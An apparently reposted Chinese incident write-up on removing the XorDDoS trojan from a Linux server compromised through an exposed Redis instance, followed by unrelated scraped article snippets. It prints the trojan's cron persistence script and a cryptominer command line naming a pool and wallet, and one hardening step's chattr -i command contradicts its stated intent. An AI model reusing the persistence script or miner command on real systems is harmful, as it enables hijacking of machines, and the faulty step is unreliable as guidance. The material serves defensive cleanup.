父进程名称: crond 进程名称: bash 进程路径: /usr/bin/bash 进程id: 20,517 命令行参数: /bin/sh /etc/cron.hourly/cron.sh 事件说明: XORDDoS木马入侵后,会在Linux的定时任务中植入恶意代码,定时启动后门程序,当发现该可疑进程时,很可能您的机器已经处于被入侵或者恶意发包的状态,建议您及时清理contab以及自启动项。帮助文档:https://help.aliyun.com/knowledge_detail/36279.html 解决方案: 建议立即及时清理计划任务中的恶意代码。

父进程名称: bash 进程名称: nohup 进程路径: /usr/bin/nohup 进程id: 12,283 命令行参数: nohup ./works -a cryptonight -o stratum+tcp://xmr.crypto-pool.fr:443 -u 43ZSHb2kRK4P386GuQYTCyFbLmeuWrC1gLiUuzdK5KXiZPLuxPUYra4TC3p1TWAZxDf9PABYBpr34i4ha6UHY4tpPzJSR8k -p x -t1 事件说明: 黑客利用远程代码执行漏洞或者恶意木马在服务器中植入挖矿木马,占用机器所有CPU计算资源,严重影响服务器正常业务性能 解决方案: 建议立即KILL该挖矿进程,并及时清理计划任务中的恶意代码。具体详情可查看帮助:https://helpcdn.aliyun.com/knowledge_detail/41206.html

转http://blog.sina.com.cn/s/blog_8b79cd290102w7k9.html

http://www.cnblogs.com/IPYQ/p/6791256.html

http://www.cnblogs.com/red-code/p/5599393.html

http://blog.knownsec.com/2015/11/analysis-of-redis-unauthorized-of-expolit/

http://blog.csdn.net/rainday0310/article/details/52327026

http://blog.csdn.net/whs_321/article/details/51734602

问题原因

数字校园应用的REDIS缓存系统存在BUG,致使服务器被注入了入侵者自己生成的公匙,并上传到了Redis的DATA目录,最终获取了服务器的root权限

影响范围

数字校园采用的Redis版本存在bug,影响所有部署的数字校园服务器,需全部更新

处理过程-修复REDIS

1、更新REDIS版本

2、修改配置文件,使用"bind 127.0.0.1"指令将REDIS限制侦听本地接口

3、启用REDIS访问密码,增加"requirepass=bluefin_redis_secret"参数,"bluefin_redis_secret"为数字校园连接redis的密码

处理过程-删除病毒:

1、使用clamav进行扫描,确定感染的文件目录

添加EPEL源,通过yum安装clamav并更新病毒库

yum install clamav && freshclam

clamav是一个开源的病毒库查杀工具,能识别病毒,但查杀能力极为有限,只能在扫描期删除病毒文件,对拥有进程监控和自我复制的病毒无能为力。

根目录扫描,确定受影响的文件和文件夹

clamscan -r --infected /

clamav扫描显示/usr/bin目录及/lib目录出现病毒文件,最终发现了一个/lib/libudev.so文件,及/usr/bin/目录下出现一些奇怪的可执行文件,确定为病毒。

2、尝试过使用clamav删除病毒,结果无效,clamav扫描结束后病毒进程更换程序名称重新出现。病毒可执行文件位于/usr/bin/目录,文件名为10个任意

字母组成,类似于“/usr/bin/kesabalwnw”,/etc/init.d目录有个同名的启动脚本/etc/init.d/kesabalwnw,用于开机自动启动病毒程序。

物理删除病毒或结束病毒进程无效,病毒会更换文件名,反复出现

3、经过分析发现/etc/cron.hourly多添加了一个gcc.sh脚本

脚本内容如下

#!/bin/sh
PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin:/usr/X11R6/bin
for i in `cat /proc/net/dev|grep :|awk -F: {'print $1'}`; do ifconfig $i up& done
cp /lib/libudev.so /lib/libudev.so.6
/lib/libudev.so.6

5、通过netstat -tulnp指令,发现多了一个deamon服务,服务名称使用常见的"who,watch,id,ifconfig“等关键字代替,强行结束后会自动重启。linux上一般不存在

对应的系统服务,可怀疑跟病毒有关。可使用strace指令进行pid追踪,比如追踪pid为8572的进程,可查看该进程调用了哪些文件,对哪些文件进行了操作。

strace -tt -p 8572

在日志中发现了"/libudev.so"的身影,证实多出来的daemon服务是病毒运行的。

6、病毒会在/etc/init.d目录建立一个到多个10个字母组成的init脚本,脚本内容几乎一模一样,手动rm删除

7、病毒会在/etc/rc.d/{rc0.d,rc1.d,rc2,d,rc3,d,rc4,d,rc5.d}下建立非常多的以S90和K90开头的软连接,链接/etc/init.d目录下的病毒init脚本,可通过以下指令删除

清理/etc/rc.d目录,增加写保护

 find . -type l -name "K90*" -o -name "S90*" |grep -v crond|xargs rm -f && chattr -R +i /etc/rc.d/

8、删除/lib/libudev.so /lib/libudev.so.6并封锁/lib目录,禁止写入操作

rm -f /lib/libudev.so&&chattr +i /lib

9、禁止其它高风险目录的写权限

chattr -i /lib64 /bin /sbin /usr/sbin /usr/local

10、查找运行病毒进程名称,病毒为了防止被删除,通常用父进程在检测到病毒文件被物理删除后,自动生成新的病毒文件。可通过下列指令找出病毒父进程

[root@dt0b00021 etc]# lsof -R |grep "/usr/bin"
python    2197    1  root  txt       REG              253,0      4864    2099101 /usr/bin/python
hiiszdvzd 2354    1  root  txt       REG              253,0    625729    2100934 /usr/bin/hiiszdvzdv
 

11、去除父进程执行权限并缩短/usr/bin目录,防止病毒在/usr/bin生成新病毒文件

chmod 000 /usr/bin/hiiszdvzdv && chattr +i /usr/bin

12、去除后病毒主进程

ps aux|grep -i hiiszdvzdv|awk '{print $2}'|xargs kill -9

病毒捕获到kill指令的SIGAL TERM结束指令后会尝试在/usr/bin生成新病毒,但由于上一步骤禁止/usr/bin目录写入,这一过程会失败

重新检测/usr/bin目录启动的父进程可发现病毒进程已消失

[root@dt0b00021 etc]# lsof -R |grep "/usr/bin"
python    2197    1  root  txt       REG              253,0       4864    2099101 /usr/bin/python
[root@dt0b00021 etc]#
 

13、关闭服务器,用于flush内存,将驻留在内存中的病毒进程清除掉,注意此处必须为关闭,不能重启。重启服务器只会清空服务器引导阶段所需的部分内存,不能保证彻底清除病毒。

14、开启服务器,将关闭写权限的目录解禁

chattr -i -R /usr/bin /lib /lib64 /etc/init.d /etc/rc.d /usr/sbin /usr/local

15、使用clamav重新扫描,看是否有未清理干净的病毒文件残留

clamscan -r --infected /

Unix.Trojan.DDoS_XOR-1木马症状及清理办法的更多相关文章

  1. docker磁盘空间清理办法

    docker磁盘空间清理办法 前段时间遇到docker磁盘空间太少,无法写入数据的问题.起因是因为我在本地(Mac Pro)运行了多个mysql容器,并且导入了一部分线上数据,最后还没导入完毕就已经没 ...

  2. Linux /dev/sda1磁盘满了,清理办法

    转:https://blog.csdn.net/h_8410435/article/details/86303995 查看内存使用情况 df -lh Filesystem      Size  Use ...

  3. Linux下 XordDos(BillGates)木马查杀记录

    最近朋友的一台服务器突然网络异常,cpu占用率暴表,登录上去一查,cpu占用300% 左右,流量异常,经过看查进程,获取信息最终确认为中了dos木马,经过几天的研究,基本上已经清除,以下是清理记录. ...

  4. 记一次阿里云linux病毒清理过程

    1.起因   因为这台服务器是我们公司内部开发服务器,几乎每个人都有root密码.在两天前突然有同事反馈说偶尔会有ssh连不上,git代码无法提交的问题,刚开始也没有在意,以为是阿里云服务器网络波动的 ...

  5. 记一次Linux服务器上查杀木马经历

    开篇前言 Linux服务器一直给我们的印象是安全.稳定.可靠,性能卓越.由于一来Linux本身的安全机制,Linux上的病毒.木马较少,二则由于宣称Linux是最安全的操作系统,导致很多人对Linux ...

  6. Linux下XordDos木马的清除

    朋友的阿里云服务器一早上报木马入侵,找我处理,登陆阿里云查看警告信息“恶意进程(云查杀)-XorDDoS木马”, 本文也可以作为服务器处理木马排查的步骤的参考文章 排查原则: 1.一般的木马都有多个守 ...

  7. Apollo深度磁盘清理

    摘要 在Apollo的使用过程中,会出现磁盘空间不足的情况,Apollo的官方提供的方法是删除apollo/data/log或者删除apollo/data/bag文件.但是即使删除了这些,磁盘空间并没 ...

  8. unix网络编程笔记(二)

    第四章笔记 1. 基本Tcpclient/server程序的套接字函数 2. socket函数: int socket(int family,int type,int protocol); (1)so ...

  9. docker 清理容器和镜像

    在docker运行过程中,会不知不觉造出很多容器,很多都是不用的,需要清理. 下面就是一些清理办法,一个个清理肯定很低效,批量清理很有意思. 查看正在运行的容器 # docker ps -q 9b9f ...

随机推荐

  1. Using gcc stack debug skill

    The stack error is hard to debug, but we can debug it assisted by the tool provided by GCC. As we kn ...

  2. e.target和e.srcElement

    IE下,event对象有srcElement属性,但是没有target属性; Firefox下,event对象有target属性,但是没有srcElement属性.但他们的作用是相当的,即: fire ...

  3. 我发起了一个 支持 PostgreSql 的 外围设施 的 .Net 开源项目

    目标 :  让 PostgreSql 成为 通用的 跨平台 的 数据库 , 成为 开发者 喜爱 的 利器 . 要做的事 , 当然 , PostgreSql 本身现在不用我们去做什么 . 一个 数据库 ...

  4. webpack 打包产生的文件名中,hash、chunkhash、contenthash 的区别

    table th:first-of-type { width: 90px; } hash 类型 区别 hash 每一次打包都会生成一个唯一的 hash chunkhash 根据每个 chunk 的内容 ...

  5. CenterOS下安装NodeJS

    1. 首先下载NodeJS的版本 wget https://nodejs.org/dist/v8.1.3/node-v8.1.3-linux-x64.tar.gz 我这里下载的是v8.1.3 版本 n ...

  6. Spring Cloud(Dalston.SR5)--Eureka 服务实例健康检查

    默认情况下,Eureka 客户端每隔 30 秒会发送一次心跳给服务器端,告知正常存活,但是,实际环境中有可能出现这种情况,客户端表面上可以正常发送心跳,但实际上服务是不可用的,例如,一个需要访问数据的 ...

  7. Linux下安装uci

    Compiling UCI as stand alone cd ~ git clone git://nbd.name/uci.git ~/uci cd ~/uci cmake -DBUILD_LUA= ...

  8. ML: 降维算法-LE

    PCA的降维原则是最小化投影损失,或者是最大化保留投影后数据的方差.LDA降维需要知道降维前数据分别属于哪一类,而且还要知道数据完整的高维信息.拉普拉斯特征映射 (Laplacian Eigenmap ...

  9. AXI_LITE源码学习笔记

    AXI_LITE源码学习笔记 1. axi_awready信号的产生 准备接收写地址信号 // Implement axi_awready generation // axi_awready is a ...

  10. String[]字符串数组,按字典顺序排列大小

    package ltb6w1; public class WordSort1 { private String[] a= {"hello","world",&q ...